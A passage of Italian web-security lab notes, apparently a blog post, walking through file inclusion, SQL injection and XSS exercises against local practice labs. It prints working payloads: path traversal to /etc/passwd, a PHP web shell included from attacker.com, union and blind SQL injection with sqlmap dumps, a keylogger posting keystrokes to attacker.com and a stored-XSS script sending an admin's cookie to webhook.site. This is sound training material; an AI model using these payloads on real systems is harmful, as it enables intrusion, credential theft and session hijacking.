Attacks<\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Local File Inclusion Attacks<\/strong><\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p><strong>Nota<\/strong>: abilitare tutte le voci nel filtro \u201cHttp history filter\u201d<\/p>\n\n\n\n<p>Se un&#8217;applicazione web carica file basandosi su un parametro utente:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/fi0x01.php?filename=chocolate_cake.txt<\/code><\/em><\/p>\n\n\n\n<p>L\u2019attaccante potrebbe manipolare il parametro per ottenere file di sistema con Repeater:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/fi0x01.php?filename=..\/..\/..\/..\/..\/..\/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<p>Dal Repeater si pu\u00f2 usare anche l\u2019Intruder, aggiungendo il payload a:<\/p>\n\n\n\n<p><em><code>..\/..\/..\/..\/..\/..\/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<p>e selezionando una lista per il path traversal&nbsp;<\/p>\n\n\n\n<p>(nella CE <em><mark>\/seclists\/Fuzzing\/LFI\/LFI-LFISuite-pathtotest.txt<\/mark><\/em>)<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/File%20Inclusion\/README.md\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/File%20Inclusion\/README.md<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Remote File Inclusion Attacks<\/strong><\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p><strong>Nota<\/strong>: abilitare tutte le voci nel filtro \u201cHttp history filter\u201d<\/p>\n\n\n\n<p>Inviamo la richiesta al Repeater:<\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=files%2Fchocolate_cake.txt<\/code><\/em><\/p>\n\n\n\n<p>e sostituiamo con:<\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=..\/..\/..\/..\/..\/ect\/passwd<\/code><\/em><\/p>\n\n\n\n<p>otteniamo la risposta:<\/p>\n\n\n\n<p><code><em>file_get_contents(ect\/passwd): failed to open stream: No such file or directory<\/em>&nbsp;<\/code><\/p>\n\n\n\n<p>Se l&#8217;applicazione blocca dot-slash (<code>..\/<\/code>), possiamo provare a bypassare i filtri con l\u2019URL encoding:<\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=%2e%2e%2f%2e%2e%2fetc\/passwd<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd5-6YOZafZvtbgP1sheIOODU1OMYT2iFoFoBqXTFEtjyXtbX0tqN6XKdjfMKf2YIoaPbuDPzvhkjlD9kKtBYlLBYZoPdqRZWznRhwfJgCWkMlOoYDWlgUYOUBhke34fZ5xebHJ?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>O con doppia codifica (<code>%252e%252e%252f<\/code>)<\/p>\n\n\n\n<p><code><em>\/labs\/fi0x02.php?filename<\/em>=%252e%252e%252f%252e%252e%252fetc\/passwd<\/code><\/p>\n\n\n\n<p>O con la manipolazione di filtri non ricorsivi:<\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=....\/\/....\/\/....\/\/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=...\/.\/...\/.\/...\/.\/...\/.\/...\/.\/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<p>Se l\u2019app \u00e8 vulnerabile a LFI, possiamo usare PHP Wrappers per leggere file PHP nascosti. Ora testiamo la possibilit\u00e0 di includere file remoti. Test di inclusione remota con Google:<\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=https:\/\/www.google.com<\/code><\/em><\/p>\n\n\n\n<p><em><code>\/labs\/fi0x02.php?filename=php:\/\/filter\/convert.base64-encode\/resource=db.php<\/code><\/em><\/p>\n\n\n\n<p><em><code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &nbsp; &nbsp; =php:\/\/filter\/convert.base64-encode\/resource=...\/.\/db.php<\/code><\/em><\/p>\n\n\n\n<p>Con l\u2019ultima manipolazione otteniamo una risposta contenente una parte codificata. La decodifichiamo in base64 e otteniamo le credenziali per la web application.<\/p>\n\n\n\n<p>Se l\u2019app restituisce una stringa codificata in Base64, possiamo decodificarla:<\/p>\n\n\n\n<p><em><code>echo \"BASE64STRING\" | base64 -d<\/code><\/em><\/p>\n\n\n\n<p><strong>Note<\/strong>:<\/p>\n\n\n\n<p>Null Byte Injection: solo su vecchie versioni di PHP &lt; 5.3<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/etc\/passwd%00\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/etc\/passwd%00<\/a><\/p>\n\n\n\n<p>Directory Traversal per accedere ai file di sistema<\/p>\n\n\n\n<p>Payload per leggere \/etc\/passwd su Linux:<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/etc\/passwd\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/etc\/passwd<\/a><\/p>\n\n\n\n<p>Per Windows:<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/windows\/system32\/drivers\/etc\/hosts\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/example.com\/index.php?filename=..\/..\/..\/..\/..\/windows\/system32\/drivers\/etc\/hosts<\/a><\/p>\n\n\n\n<p>Importante:<\/p>\n\n\n\n<p><em><code>\/etc\/passwd<\/code><\/em> \u00e8 spesso leggibile da tutti e contiene gli utenti del sistema.<\/p>\n\n\n\n<p><em><code>\/etc\/hosts<\/code><\/em> su Linux e <em>hosts<\/em> su Windows possono rivelare informazioni di rete.<\/p>\n\n\n\n<p>Se il sito \u00e8 vulnerabile a RFI, possiamo inserire un file PHP dannoso:<\/p>\n\n\n\n<p>Creiamo un file PHP con codice malevolo (shell.php):<\/p>\n\n\n\n<p><em><code>&lt;?php system($_GET['cmd']); ?&gt;<\/code><\/em><\/p>\n\n\n\n<p>Carichiamo shell.php su un nostro server web:<\/p>\n\n\n\n<p><em><code>python3 -m http.server 8080<\/code><\/em><\/p>\n\n\n\n<p>Eseguiamo il payload nel sito vulnerabile:<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/index.php?filename=http:\/\/attacker.com\/shell.php&amp;cmd=whoami\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/example.com\/index.php?filename=http:\/\/attacker.com\/shell.php&amp;cmd=whoami<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>File Inclusion Challenge Walkthrough<\/strong><\/p>\n\n\n\n<p>Con FFUF:<\/p>\n\n\n\n<p>Da burp salviamo la richiesta:<\/p>\n\n\n\n<p><em><code>GET \/labs\/api\/fetchRecipe.php?filename=chocolate_cake.txt<\/code><\/em><\/p>\n\n\n\n<p>in un file chiamato <em><code>api_req.txt<\/code><\/em>.<\/p>\n\n\n\n<p>Apriamo il file nel terminale:<\/p>\n\n\n\n<p><em><code>nano api_req.txt<\/code><\/em><\/p>\n\n\n\n<p>Inseriamo il nostro punto di test (fuzzpoint) nella richiesta e salviamo il file.<\/p>\n\n\n\n<p><em><code>GET \/labs\/api\/fetchRecipe.php?filename=<\/code><\/em><strong><code><em>FUZZ<\/em><\/code><\/strong><em><code> HTTP\/1.1<\/code><\/em><\/p>\n\n\n\n<p>quindi:<\/p>\n\n\n\n<p><em><code>ffuf -request api_req.txt -request-proto http -w \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-Jhaddix.txt -fw 19,20<\/code><\/em><\/p>\n\n\n\n<p>Date le troppe risposte, filtro con -fw 19,20<\/p>\n\n\n\n<p>Invio la GET al Repeater e sostituisco dopo <em><code>filename=<\/code><\/em> i payload trovati da FUFF e ottengo <em><code>\/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Basic SQLInjection Attacks<\/strong><\/p>\n\n\n\n<p><em><code>jeremy' or 1=1#<\/code><\/em><\/p>\n\n\n\n<p>Se otteniamo pi\u00f9 risultati del previsto, l\u2019app \u00e8 vulnerabile a SQL Injection!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>jeremy' or 1=1-- -\njeremy' or 1=2-- -\njeremy' or 1=3-- -\njeremy' union select null#<\/em><\/code><\/pre>\n\n\n\n<p>Se otteniamo errore, aumentiamo il numero di NULL fino a trovare la giusta quantit\u00e0:<\/p>\n\n\n\n<p><em><code>jeremy' union select null,null,null#<\/code><\/em><\/p>\n\n\n\n<p>Se otteniamo un risultato, sappiamo che la query originale ha 3 colonne.<\/p>\n\n\n\n<p>Ora possiamo sostituire NULL con dati reali, come username, password, email.<\/p>\n\n\n\n<p><em><code>jeremy' union select null,null,version()#<\/code><\/em><\/p>\n\n\n\n<p>Se l\u2019output mostra 8.0.33, sappiamo che il database \u00e8 MySQL.<\/p>\n\n\n\n<p>Elencare tutte le tabelle:<\/p>\n\n\n\n<p><em><code>jeremy' union select null,null,table_name from information_schema.tables#<\/code><\/em><\/p>\n\n\n\n<p>le colonne:<\/p>\n\n\n\n<p><em><code>jeremy' union select null,null,column_name from information_schema.columns#<\/code><\/em><\/p>\n\n\n\n<p>Ora che conosciamo il nome della tabella degli utenti (users), proviamo a ottenere le password:<\/p>\n\n\n\n<p><em><code>jeremy' union select null,null,password from injection0x01#<\/code><\/em><\/p>\n\n\n\n<p>Se la query originale seleziona dati numerici, UNION SELECT potrebbe restituire errore. Ad esempio, se una colonna ID \u00e8 di tipo INT, dobbiamo assicurarci di restituire un numero:<\/p>\n\n\n\n<p><em><code>jeremy' union select null(int),1,null from injection0x01#<\/code><\/em><\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/web-security\/sql-injection\/cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\">PortSwigger Web Security Academy<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/owasp.org\/www-community\/attacks\/SQL_Injection\" target=\"_blank\" rel=\"noreferrer noopener\">OWASP SQL Injection Cheat Sheet<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Blind SQL Injection Attacks &#8211; Part 1<\/strong><\/p>\n\n\n\n<p>Configurazione di Burp Suite<\/p>\n\n\n\n<p>Avvia Burp Suite e vai su Proxy \u2192 HTTP History.<\/p>\n\n\n\n<p>Se usiamo lo stesso browser per diverse attivit\u00e0, il log pu\u00f2 riempirsi di richieste indesiderate. Per filtrare il traffico, andiamo su Target \u2192 Scope Settings e aggiungiamo:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost<\/code><\/em><\/p>\n\n\n\n<p>Burp chieder\u00e0 se vogliamo escludere le richieste fuori dallo scope \u2192 Clicchiamo su Yes.&nbsp;<\/p>\n\n\n\n<p>Cancelliamo la cronologia HTTP per pulire il traffico non necessario. Ora Burp intercetter\u00e0 solo il traffico relativo al nostro laboratorio!<\/p>\n\n\n\n<p>Accesso all\u2019applicazione e raccolta di informazioni<\/p>\n\n\n\n<p>Accediamo con le credenziali di default<\/p>\n\n\n\n<p>Dopo il login, veniamo reindirizzati alla dashboard principale.<\/p>\n\n\n\n<p>Con Burp Suite vediamo una richiesta POST con i parametri username e password. Nella risposta, troviamo un session cookie che sembra un hash MD5. Il contenuto della risposta ha una lunghezza di 1928 byte. Se il login fallisce, la risposta cambia leggermente e la lunghezza diventa 2122 byte.<\/p>\n\n\n\n<p>Questo suggerisce che possiamo identificare risposte differenti basandoci sulla lunghezza del contenuto.<\/p>\n\n\n\n<p>Proviamo qualche payload:<\/p>\n\n\n\n<p><em><code>jeremy' or 1=1#<\/code><\/em><\/p>\n\n\n\n<p>possiamo codificarlo<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>jeremy'+or+1%3d1%23\njeremy\u201d or 1=1#<\/em><\/code><\/pre>\n\n\n\n<p>Automazione con SQLMap:<\/p>\n\n\n\n<p>Copia la richiesta di POST e la salviamo in un file chiamato request.txt.<\/p>\n\n\n\n<p>Eseguiamo SQLMap:<\/p>\n\n\n\n<p><em><code>sqlmap -r req.txt<\/code><\/em><\/p>\n\n\n\n<p>SQLMap cercher\u00e0 automaticamente vulnerabilit\u00e0 nei parametri inviati.<\/p>\n\n\n\n<p>Possibili esiti:<\/p>\n\n\n\n<p>se SQLMap rileva una vulnerabilit\u00e0, elencher\u00e0 i database disponibili. Se nessun parametro \u00e8 vulnerabile, dobbiamo provare un altro punto di iniezione.<\/p>\n\n\n\n<p>Cercare SQL Injection in altri punti dell\u2019applicazione:<\/p>\n\n\n\n<p>dopo il login, il session cookie \u00e8 incluso in tutte le richieste HTTP (la GET dopo POST). Forse l\u2019applicazione lo processa internamente.<\/p>\n\n\n\n<p>Testiamo SQL Injection nel cookie:<\/p>\n\n\n\n<p>invio della richiesta (la GET dopo POST) in Burp Repeater.<\/p>\n\n\n\n<p>modifica del session cookie&nbsp;<\/p>\n\n\n\n<p><code>Cookie: session=6967cabefd763ac1a1a88e11159957db<strong>a<\/strong>; csrf0x01=jeremy<\/code><\/p>\n\n\n\n<p>ottengo risposta ha una lunghezza di 1928 byte invece di 1027 di corretto<\/p>\n\n\n\n<p>allora provo con un payload SQL:<\/p>\n\n\n\n<p><code>Cookie: session=6967cabefd763ac1a1a88e11159957db<strong>' or 1=1#<\/strong>; csrf0x01=jeremy<\/code><\/p>\n\n\n\n<p>Invio della richiesta e confronto della risposta.<\/p>\n\n\n\n<p>Se il login viene accettato, abbiamo scoperto una vulnerabilit\u00e0!<\/p>\n\n\n\n<p>Conferma della SQL Injection cieca<\/p>\n\n\n\n<p>Testiamo con un payload che dovrebbe generare un errore:<\/p>\n\n\n\n<p><em><code>' AND 1=2#<\/code><\/em><\/p>\n\n\n\n<p>Se l\u2019applicazione restituisce una risposta di login fallito, sappiamo che la query \u00e8 stata eseguita!<\/p>\n\n\n\n<p>Proviamo invece con:<\/p>\n\n\n\n<p><code>' AND 1=1#<\/code><\/p>\n\n\n\n<p>Se la query \u00e8 eseguita correttamente, il login dovrebbe essere accettato.<\/p>\n\n\n\n<p>Ora possiamo confermare che il parametro session cookie \u00e8 vulnerabile a SQL Injection!<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Blind SQL Injection Attacks &#8211; Part 2<\/strong><\/p>\n\n\n\n<p>Usiamo la funzione SUBSTRING() per estrarre caratteri da una stringa nel database:<\/p>\n\n\n\n<p>Sintassi:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>SUBSTRING(string, start, length)<\/em>\noppure:\n<em>SUBSTRING(string FROM start FOR length)<\/em><\/code><\/pre>\n\n\n\n<p><em><code>Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('a', 1, 1) = 'a'#<\/code><\/em><\/p>\n\n\n\n<p>Se la query ha successo, sappiamo che il primo carattere \u00e8 &#8220;a&#8221;<\/p>\n\n\n\n<p><em><code>Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex', 2, 1) = 'l'#<\/code><\/em><\/p>\n\n\n\n<p>Se la query ha successo, sappiamo che il secondo carattere \u00e8 &#8220;<code>l<\/code>&#8220;<\/p>\n\n\n\n<p>e cos\u00ec via:<\/p>\n\n\n\n<p><em><code>Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('alex', 1, 3) = 'ale'#<\/code><\/em><\/p>\n\n\n\n<p>Verifico la versione:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 1) = '8'#\n\nCookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 2) = '8.'#\n\nCookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 3) = '8.0'#\n\n\u2026\n\nCookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 5) = '8.0.4'#<\/em><\/code><\/pre>\n\n\n\n<p>scopriamo che la versione del database \u00e8 8.0.4<\/p>\n\n\n\n<p>Per trovare le password:<\/p>\n\n\n\n<p><em><code>' and substring((select password from injection0x02 where username = \u2018jessamy\u2019), 1, 1) = 'b'#<\/code><\/em><\/p>\n\n\n\n<p>per\u00f2 automatizziamo: inviamo all\u2019Intruder e aggiungiamo la posizione del payloads:<\/p>\n\n\n\n<p><em><code>and substring((select password from injection0x02 where username = 'jessamy'), 1, 1) = '<\/code><\/em><strong><code><em>\u00a7b\u00a7<\/em><\/code><\/strong><em><code>'#<\/code><\/em><\/p>\n\n\n\n<p>Carichiamo una wordlist con lettere (a-z, 0-9)<\/p>\n\n\n\n<p>Avviamo l\u2019attacco e filtriamo i risultati per trovare la lunghezza di risposta diversa e verifichiamo nella risposta dell\u2019attacco\u2026<\/p>\n\n\n\n<p>\u2026 ma dovremmo ripetere il test per ogni carattere per ricostruire la password.<\/p>\n\n\n\n<p>Automatizziamo con SQLMap:<\/p>\n\n\n\n<p>Salvo in un file txt copia del GET<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>sqlmap -r req2.txt --level=2\nsqlmap -r req2.txt --level=2 --dump -T injection0x02<\/em><\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Blind SQL Injection Attacks<\/strong><\/p>\n\n\n\n<p><em><code>x\u2019 or 1=1#<\/code><\/em><\/p>\n\n\n\n<p>Se l\u2019iniezione ha successo, dovremmo vedere tutti i prodotti del database.<\/p>\n\n\n\n<p><em><code>Tanjyoubi Sushi Rack' union select null,null,null,null#<\/code><\/em><\/p>\n\n\n\n<p>La query ha funzionato \u2192 ci sono 4 colonne<\/p>\n\n\n\n<p>Quindi, otteniamo un elenco delle tabelle nel database:<\/p>\n\n\n\n<p><em><code>Tanjyoubi Sushi Rack' union select null,null,null,table_name from information_schema.tables#<\/code><\/em><\/p>\n\n\n\n<p>Cerchiamo la tabella che contiene gli utenti, troviamo <em>injection_0x03_users<\/em>, che probabilmente contiene le credenziali:<\/p>\n\n\n\n<p><em><code>Tanjyoubi Sushi Rack' union select null,null,null,username from injection0x03_users#<\/code><\/em><\/p>\n\n\n\n<p>Otteniamo il nome utente: Takashi, troviamo la password:<\/p>\n\n\n\n<p><em><code>Tanjyoubi Sushi Rack' union select null,null,null,password from injection0x03_users#<\/code><\/em><\/p>\n\n\n\n<p>La password \u00e8 <mark>OnigiriDaisuki<\/mark>.<\/p>\n\n\n\n<p>Automazione con SQLMap:<\/p>\n\n\n\n<p>Salviamo il POST in un file txt.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>sqlmap -r req3.txt --level=2 --dump<\/em>\noppure\n<em>sqlmap -r req3.txt -T injection0x03_users --dump<\/em><\/code><\/pre>\n\n\n\n<p>SQLMap trova automaticamente la vulnerabilit\u00e0 e scarica la tabella utenti.<\/p>\n\n\n\n<p>Otteniamo username e password.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Second Order SQL Injection<\/strong><\/p>\n\n\n\n<p>Registriamo un nuovo utente con un payload SQL nel nome utente.<\/p>\n\n\n\n<p>Username: <em>testing<\/em><\/p>\n\n\n\n<p>Password: <em>testing<\/em><\/p>\n\n\n\n<p>Dopo la registrazione, accediamo e vediamo il messaggio di benvenuto:<\/p>\n\n\n\n<p>Benvenuto testing nella tua dashboard!<\/p>\n\n\n\n<p>Questo suggerisce che i nostri dati sono stati salvati nel database.<\/p>\n\n\n\n<p>Ora proviamo a iniettare un payload SQL, registriamo:<\/p>\n\n\n\n<p>Username <em><code>'or 1=1-- -<\/code><\/em><\/p>\n\n\n\n<p>Password <em><code>test<\/code><\/em><\/p>\n\n\n\n<p>Se l\u2019applicazione utilizza il nostro input per eseguire una query SQL successivamente, potremmo ottenere SQL Injection!<\/p>\n\n\n\n<p>Accediamo all\u2019utente appena creato, l\u2019applicazione risponde<\/p>\n\n\n\n<p><em><code>Welcome, 'or 1=1-- -, to your dashboard!<\/code><\/em><\/p>\n\n\n\n<p><em><code>Bio: Jeremy likes tiramisu<\/code><\/em><\/p>\n\n\n\n<p>Ci\u00f2 significa che il nostro <code>OR 1=1<\/code> ha manipolato la query SQL!<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Introduction to Cross-Site Scripting (XSS)<\/strong><\/p>\n\n\n\n<p>Verifichiamo: nella pagina web attivo l\u2019Inspect (clic dx) e nella console:<\/p>\n\n\n\n<p><code><em>alert(1)<\/em>&nbsp;<\/code><\/p>\n\n\n\n<p>si aprir\u00e0 un popup.<\/p>\n\n\n\n<p>Oppure:<\/p>\n\n\n\n<p><em><code>print()<\/code><\/em><\/p>\n\n\n\n<p><em><code>prompt(\u2018Hello\u2019)<\/code><\/em><\/p>\n\n\n\n<p>keylogger:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>function logKey(event){console.log(event.key)}\ndocument.addEventListener(\u2018keydown\u2019, logKey)<\/em><\/code><\/pre>\n\n\n\n<p>O inviare i tasti a un server remoto:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>function logKey(event) {\n&nbsp;&nbsp;fetch(\"https:\/\/attacker.com\/log?key=\" + event.key);\n}\ndocument.addEventListener(\"keydown\", logKey);<\/em><\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Basic Cross-Site Scripting (XSS) Attacks<\/strong><\/p>\n\n\n\n<p>Verifichiamo: nella pagina web attivo l\u2019Inspect (clic dx) e in network.<\/p>\n\n\n\n<p>Se non vediamo richieste HTTP, significa che l\u2019esecuzione avviene completamente lato client. Risultato: Questa \u00e8 una vulnerabilit\u00e0 DOM-Based XSS, poich\u00e9 tutto avviene nel browser.<\/p>\n\n\n\n<p><em><code>&lt;script&gt;prompt(1)&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p><em><code>&lt;script&gt;alert(1)&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p>Non succede nulla, il codice viene aggiunto alla pagina, ma non viene eseguito immediatamente. Motivo: anche se il payload \u00e8 stato inserito, il browser non lo esegue. Serve un evento o un trigger per attivare il JavaScript.<\/p>\n\n\n\n<p><em><code>&lt;img src=\"x\" onerror=\"alert(1)\"&gt;<\/code><\/em><\/p>\n\n\n\n<p><em><code>&lt;img src=\"x\" onerror=\"promt(1)\"&gt;<\/code><\/em><\/p>\n\n\n\n<p>Il browser tenta di caricare l\u2019immagine, ma fallisce. Quando l\u2019immagine non viene trovata, viene generato un errore e l\u2019evento <em>onerror<\/em> esegue il nostro JavaScript.<\/p>\n\n\n\n<p>Abbiamo eseguito con successo un attacco XSS!<\/p>\n\n\n\n<p>Proviamo a modificare il payload per reindirizzare l\u2019utente a un altro sito:<\/p>\n\n\n\n<p><em><code>&lt;img src=\"x\" onerror=\"window.location.href='https:\/\/tcm-sec.com'\"&gt;<\/code><\/em><\/p>\n\n\n\n<p>Testare altri payload XSS<\/p>\n\n\n\n<p>Esecuzione al caricamento della pagina:<\/p>\n\n\n\n<p><em><code>&lt;body onload=\"alert('XSS')\"&gt;<\/code><\/em><\/p>\n\n\n\n<p>Esecuzione al passaggio del mouse:<\/p>\n\n\n\n<p><em><code>&lt;div onmouseover=\"alert('XSS')\"&gt;Passa qui sopra&lt;\/div&gt;<\/code><\/em><\/p>\n\n\n\n<p><a href=\"https:\/\/portswigger.net\/web-security\/cross-site-scripting\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/portswigger.net\/web-security\/cross-site-scripting<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/owasp.org\/www-community\/attacks\/xss\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/owasp.org\/www-community\/attacks\/xss<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Stored Cross-Site Scripting (XSS) Attacks<\/strong><\/p>\n\n\n\n<p>Installare l\u2019estensione Firefox Multi-Account Containers<\/p>\n\n\n\n<p>Creiamo due container separati e incolliamo in entrambi l\u2019url della pagina.<\/p>\n\n\n\n<p>Creo un cookie nel primo container:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdvl97sJXOHLxezMNmFuNZxq1mo0w1yYhsgFbFj9yExiwvxx0p_D_S6WxiGhEkJfVmHyzzUCPvNgl8gGGUxAK12E6gtH1lXP3rjV7zki8_s0X8iauTWQFIIkD9Q9BwVT3p0_GFwHQ?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Nell\u2019Inspect verifico che ci sia il cookie in Storage.<\/p>\n\n\n\n<p>Mentre nella console:<\/p>\n\n\n\n<p><em><code>document.cookie<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>\"cookie=hellothere\"<\/code><\/em><\/p>\n\n\n\n<p>Nel secondo container, nella console:<\/p>\n\n\n\n<p><em><code>document.cookie<\/code><\/em><\/p>\n\n\n\n<p>nessuna risposta<\/p>\n\n\n\n<p>Nel primo container:<\/p>\n\n\n\n<p><em><code>&lt;h1&gt;test&lt;\/h1&gt;<\/code><\/em><\/p>\n\n\n\n<p>il commento test viene aggiunto, verifichiamo, c\u2019\u00e8 anche nel secondo container<\/p>\n\n\n\n<p>Nel primo container:<\/p>\n\n\n\n<p><em><code>&lt;script&gt;prompt(1)&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p>il prompt viene visualizzato, verifichiamo, c\u2019\u00e8 anche nel secondo container<\/p>\n\n\n\n<p>Nel secondo container<\/p>\n\n\n\n<p><em><code>&lt;script&gt;alert(document.cookie)&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p>Se il popup mostra il cookie, possiamo rubare le sessioni degli utenti!<\/p>\n\n\n\n<p>Rubare il cookie dell\u2019admin<\/p>\n\n\n\n<p>Iniettare un payload XSS in Container1.<\/p>\n\n\n\n<p>Attendere che un admin (in Container2) visiti la pagina.<\/p>\n\n\n\n<p>Rubare il suo cookie.<\/p>\n\n\n\n<p>Puoi usare uno strumento come <a href=\"https:\/\/webhook.site\" target=\"_blank\" rel=\"noreferrer noopener\">WebHook.site<\/a> per ricevere le richieste in tempo reale.<\/p>\n\n\n\n<p>Puoi testare&nbsp;<\/p>\n\n\n\n<p><em><code>curl https:\/\/webhook.site\/IDWEBHOOK.SITE<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Cross-Site Scripting (XSS) Challenge Walkthrough<\/strong><\/p>\n\n\n\n<p>Creiamo due container (il secondo: <em><code>http:\/\/localhost\/labs\/x0x03_admin.php<\/code><\/em>).<\/p>\n\n\n\n<p>Nel primo:<\/p>\n\n\n\n<p><em><code>jeremy<\/code><\/em><\/p>\n\n\n\n<p><em><code>&lt;script&gt;var i = new image;i.src=\"https:\/\/webhook.site\/5c2ffddd-2bba-402d-af99-034923a869d7<\/code><\/em><strong><code><em>\/?<\/em><\/code><\/strong><em><code>\"+document.cookie;&lt;\/script&gt;<\/code><\/em><\/p>\n\n\n\n<p>Aggiorniamo la pagina nel secondo, troveremo \u201c<em>Ticket from: jeremy<\/em>\u201d e in webhook.site il cookie di admin:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXez-6t0J9JWLBwPnTC_7QFaTGm3vgEdrUTLLoN5-T7cY9xIKPGHKxmDIVvVjL1ZwB1e3u5o5CM5ySiAmsDvKwM_AENo5l3d-Lbj0sMb0BGuOwCRf6w429WdP8vJS8RwFbCMG_0t?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Verifichiamo con l\u2019estensione cookie-editor:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXfLFNPlC6IpGZIObLZSH03iQyjdvZT4CGXhkV8GqdLO8tI2KP460-R1bL_8JQVVHqnXOBcUwhjnpLa1QXNJSiJKy60DiswcJBmO5g21ZpsRevzlnuNjLQVz8AsZPHxDW8fTOIMKWQ?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>che nell\u2019Inspect:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXeW2pmKJbzw6OMpz4zyYKE-7jSLKslGkUdCE_45CEMjJgyWHHPcTi-GorXmaKrLfT_YBil0GitHM9B7oiey7e36gA-j_8r6ciY1ZkxOY9VBoWjgl2c4oUSUHyMZNQONOfY4V7WNlg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXc8RlmFMvFPSp4GJi8re5ot5NXD_FNMSOZiUJZACs4a8K_4SVQiyBAU8fWtkWPios2V08M2ECxE01XrZPC9iJXL3g-Miogr0SCqC_CYTGhGOBXzU_qmHCUDPcWsACIwxhdVeXt2xw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p 